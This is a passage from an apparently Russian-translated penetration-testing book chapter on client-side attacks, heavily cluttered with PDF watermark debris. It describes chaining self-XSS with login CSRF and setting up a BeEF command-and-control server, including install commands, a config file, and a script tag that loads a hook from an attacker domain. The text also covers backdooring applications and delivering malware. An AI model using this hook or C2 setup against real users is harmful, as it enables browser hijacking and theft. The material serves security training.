Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 222  Глава 9.Практические атаки на стороне клиента

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Допустим, мы обнаружили хранимую XSS-уязвимость на странице профи-

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ля почтового приложения. Мы могли бы обновить свое имя, чтобы отразить полезную нагрузку. Поскольку мы не можем влиять на имена профилей других пользователей,эта полезная нагрузка сработаеттолько для нашей учетной записи. Это называется self-XSS-атака. Если одно и то же приложение также уязвимо для CSRF-атак на странице как входа, так и выхода, можно заставить пользователя выйти из системы, а также заставить его войти в систему под именем другого пользователя.

Прежде всего мы могли бы отправить полезную нагрузку XSS в собственное имяпрофиляисохранитьеенапотом.Затемможемсоздатьвредоносныйсайт, который выполняет следующие операции по порядку:

1)использует межсайтовую подделку запроса, чтобы заставить жертву выйти­ из приложения;

2)использует межсайтовую подделку запроса для входа жертвы обратно с применением наших учетных данных;

3)использует межсайтовую подделку запроса для перехода на страницу профиля приложения, содержащую вредоносный код;

4)выполняет вредоносный код в браузере жертвы.

Вредоносный код будет выглядеть примерно так:

Рис.9.8. Вредоносный код self-,XSS-и CSRF-атак

http://email.site/profile/ содержит код self-XSS, который мы сохранили ранее и который будетвыполняться на ничего не подозревающем объекте атаки после загрузки iframe.

Что можно сделать с кодом JavaScript, работающим в браузере жертвы, но в рамках сеанса учетной записи? Воровать куки-файлы сеанса не имеет смысла, но у нас есть другие варианты.

BeEF

В большинстве случаев XSS-уязвимость трудно эксплуатировать успешно. Когда я говорю о практических атаках на стороне клиента, я не имею в виду скриншот всплывающего окна alert(1) для отчета!

Во время выполнения задания XSS-уязвимость может стать жизнеспособнымспособоматаковатьпользователейизакрепитьсявсети.ПроведениеXSS-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

BeEF  223 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

атак может быть затруднено, так как в большинстве случаев у вас есть только

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

одна попытка.Нам нужно выполнитькод и сделатьвсе,что нужно,прежде чем

 

 

 

 

 

 

 

 

 

 

 

 

пользователь закроет сеанс браузера. Извлечь токен сеанса или другие важ-

 

 

 

 

 

 

 

 

 

 

 

 

ные данные достаточно просто, но что, если нам нужно поднять нашу атаку

 

 

 

 

 

 

 

 

 

 

 

 

на новый уровень? В идеале нужно получить полный контроль над браузером

 

 

 

 

 

 

 

 

 

 

 

 

клиента и заставить его выполнять наши приказы, возможно, автоматизируя

 

 

 

 

 

 

 

 

 

 

 

 

некоторые более сложные атаки.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BeEF–этопрекрасныйинструмент,созданныйУэйдомАлькорном(WadeAl-

 

 

 

 

 

 

 

 

 

 

 

 

corn), который упрощает эксплуатацию XSS-уязвимостей.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BeEFимеетсерверныйкомпонент,обеспечивающийуправлениеиконтроль.

 

 

 

 

 

 

 

 

 

 

 

 

Клиентов(или,какихназываютвконтекстеэтойатаки,зомби)можнопоймать

 

 

 

 

 

 

 

 

 

 

 

 

спомощьюфрагментакодаJavaScript,размещенногонасамомкомандно-конт­

 

 

 

 

 

 

 

 

 

 

 

 

рольном сервере. Зомби будет периодически регистрироваться на этом серве-

 

 

 

 

 

 

 

 

 

 

 

 

ре и получать команды, в том числе следующие:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

выполнение произвольного кода JavaScript;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

методы социальной инженерии для доставки вредоносных программ;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

закрепление в системе (персистентность);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

интеграция с Metasploit;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сбор информации

 

 

 

 

 

 

 

 

 

 

 

…и многое другое.

ЧтобыэксплуатироватьклиентаспомощьюBeEF,нужнопойматьегопосредством XSS-атаки или поразить клиентский код приложения, используя бэкдор. Вредоносный код JavaScript будет выполнен и загрузит ловушку из нашего ко- мандно-контрольного сервера BeEF, предоставляя нам доступ для выполнения дополнительного кода,упакованного внутри BeEF в качестве команд.

Установить BeEF просто. Он доступен на GitHub на странице https://github.com/beefproject/beef. BeEF также есть в Kali Linux по умолчанию,хотя в некоторых случаях лучше,если он будет работать на вашем командно-контрольном сервере в облаке.

Мы можем клонировать последнюю версию из репозитория GitHub с по­ мощью команды git clone.

root@spider-c2:~# git clone https://github.com/beefproject/beef

Исходный код поставляется со скриптом install,который настроит среду за нас. Выполните его в папке beef.

root@spider-c2:~/beef# ./install

[WARNING] This script will install BeEF and its required dependencies (including operating system packages).

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 224  Глава 9.Практические атаки на стороне клиента

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

 

e

 

y

 

 

 

 

Are you sure you wish to continue (Y/n)?

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

[INFO] Detecting OS...

[INFO] Operating System: Linux

[INFO] Launching Linux install...

[INFO] Detecting Linux OS distribution...

[INFO] OS Distribution: Debian

[INFO] Installing Debian prerequisite packages…

[...]

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

BeEF можно настроить с помощью файла конфигурации config.yaml. Есть множество вариантов настройки,но для нас наиболее важными являются следующие.

beef: [...]

credentials: user: "admin"

passwd: "peanut butter jelly time"

[...] restrictions:

#subnet of IP addresses that can hook to the framework permitted_hooking_subnet: "172.217.2.0/24"

#subnet of IP addresses that can connect to the admin UI permitted_ui_subnet: "196.247.56.62/32"

#HTTP server

http:

debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.

host: "0.0.0.0" port: "443"

public: "c2.spider.ml"

[...]

https: enable: true

key: "/etc/letsencrypt/live/spider.ml/privkey.pem" cert: "/etc/letsencrypt/live/spider.ml/cert.pem"

Корневой каталог файла конфигурации – beef с отступом строк, ограничивающих подузлы. Например, путь beef.credentials.user будет возвращать значение admin после синтаксического анализа файла конфигурации.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

BeEF  225 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Изменение параметров beef.credentials.* не должно вызывать вопро-

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

сов. Рекомендуется также обновить параметры beef.restrictions.*, чтобы

 

 

 

 

 

 

 

 

 

 

 

 

гарантировать, что мы нацелились на соответствующих клиентов, и не до-

 

 

 

 

 

 

 

 

 

 

 

 

пускать посторонних пользователей в интерфейс командно-контрольного

 

 

 

 

 

 

 

 

 

 

 

 

сервера.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Опция permitted_ui_subnet ограничит диапазоны сети, которым BeEF

 

 

 

 

 

 

 

 

 

 

 

 

разрешит доступ к /ui/, интерфейсу администратора сервера. Тут все долж-

 

 

 

 

 

 

 

 

 

 

 

 

но быть очень строго, поэтому обычно мы устанавливаем текущий внешний

 

 

 

 

 

 

 

 

 

 

 

 

адрес, после которого следует /32.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Мы также можем ограничить адреса, которым фактически разрешено

 

 

 

 

 

 

 

 

 

 

 

 

взаимодействовать­

словушкойBeEF,предотвращаяэксплуатациюуязвимос­

 

 

 

 

 

 

 

 

 

 

 

 

тей у тех клиентов, которых мы не планируем взламывать. Если запускаем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BeEF для внутреннего использования, то можем ограничить подсеть пере-

 

 

 

 

 

 

 

 

 

 

 

 

хвата, скажем, только маркетингом. Если аналитики из Синей команды по-

 

 

 

 

 

 

 

 

 

 

 

 

пытаются выполнить полезную нагрузку, они не получат ничего полезного

 

 

 

 

 

 

 

 

 

 

 

 

в ответ.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для развертывания в эксплуатационной среде в облаке нужно установить

 

 

 

 

 

 

 

 

 

 

 

 

beef.http.host впространствоIP-адресовнашейжертвы,инамтакжеследует

 

 

 

 

 

 

 

 

 

 

 

 

прослушивать порт443.Рекомендуется запускать BeEF с beef.https.enable =

 

 

 

 

 

 

true, поскольку это увеличивает шансы на успех.

Если попытаемся внедрить нашу полезную нагрузку BeEF <script async src = http://c2.spider.ml/hook.js> на страницу,загруженную по протоко-

луHTTPS,современныебраузерывообщенебудутзагружатьсценарий.Загруз- каHTTPS-ресурсовнаHTTP-сайтразрешена,поэтому,есливозможно,команд- но-контрольный сервер всегда должен работать с включенным TLS.

Параметры конфигурации beef.https.key и beef.https.cert должны указывать на соответствующий сертификат, желательно подписанный доверенным корневым центром сертификации,таким как Let’s Encrypt. Мы рассмат­ ривали использование Let’s Encrypt для запроса бесплатных сертификатов в главе 6 «Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов».

Let’s Encrypt предоставляет бесплатные сертификаты с проверкой домена для имен хостов и даже сертификаты с поддержкой поддоменов.Дополнительную информацию можно найти на станице

https://letsencrypt.org.

Значение beef.http.public должно соответствовать домену с HTTPSсертификатом, иначе могут возникнуть ошибки при валидации клиента и перехват завершится неудачно.

Когда все будет настроено, можно запустить серверный компонент.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 226 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Глава 9.Практические атаки на стороне клиента

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

d

f

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Рис.9.9. BeEF работает в облаке

Ну вот, командно-контрольный сервер BeEF готов к работе, и можно приступать к атаке на клиентов. Первый шаг– получить код ловушки BeEF, чтобы выполнить его в целевом браузере. Есть несколько способов сделать это. Наиболее распространенный – постоянная, отраженная или основанная на DOMмодели XSS-атака.

Если у нас есть доступ к приложению через оболочку, то также есть смысл использовать бэкдор с помощью ловушки BeEF. Мы можем сохранить код ловушки и записывать действия пользователей и даже использовать методы социальной инженерии для запуска вредоносных программ на компьютерах, представляющих особый интерес.

Панель командно-контрольного сервера BeEF доступна через URL-адрес, отображаемый в выводе программы запуска BeEF:

https://[beef.http.public]:[beef.http.port]/ui/panel

Интерфейс несколько неординарен, но к нему быстро привыкаешь.

Рис.9.10. Панель управления сервером BeEF